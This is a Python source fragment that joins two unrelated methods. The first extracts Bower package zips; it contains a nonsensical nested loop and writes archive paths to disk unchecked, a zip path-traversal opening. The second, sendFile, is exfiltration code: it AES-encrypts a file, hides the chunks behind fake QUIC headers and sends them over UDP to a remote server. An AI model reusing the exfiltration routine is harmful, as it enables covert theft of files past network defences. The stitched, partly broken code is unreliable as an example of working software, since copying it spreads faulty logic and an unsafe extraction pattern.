def extract_bower_zipfile(self, zip_file, dest, expected_version=None):
        bower_json = None
        root = None
        deps_installed = []
        for info in zip_file.infolist():
            if PurePath(info.filename).name == "bower.json":
                with zip_file.open(info) as f:
                    bower_json = json.load(f)
                    root = str(PurePath(info.filename).parent)
                break
        version = bower_json["version"]
        if expected_version is not None:
            expected_version = Bower.clean_semver(expected_version)
            if not semver.match(version, expected_version):
                click.secho("error: versions do not match ({} =/= {})".format(
                    version, expected_version))
                raise InvalidPackageError
        if "dependencies" in bower_json:
            for package, version in bower_json["dependencies"].items():
                url = Bower.get_package_url(package)
                deps_installed.extend(self.get_bower_package(
                    url, dest=dest, version=version))
        ignore_patterns = [GitIgnorePattern(ig) for ig in bower_json["ignore"]]
        path_spec = PathSpec(ignore_patterns)
        namelist = [path for path in zip_file.namelist()
                    if PurePath(path).parts[0] == root]
        ignored = list(path_spec.match_files(namelist))
        for path in namelist:
            dest_path = PurePath(
                bower_json["name"],
                *PurePath(path).parts[1:])

            if path in ignored:
                continue

            for path in ignored:
                for parent in PurePath(path):
                    if parent in ignored:
                        continue

            if path.endswith("/"):
                if list(path_spec.match_files([str(dest_path)])):
                    ignored.append(PurePath(path))
                elif not (dest / dest_path).is_dir():
                    (dest / dest_path).mkdir(parents=True)
            else:
                target_path = dest / dest_path.parent / dest_path.name
                source = zip_file.open(path)
                target = target_path.open("wb")
                with source, target:
                    shutil.copyfileobj(source, target)
        deps_installed.append((bower_json["name"], bower_json["version"]))
        return deps_installed
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0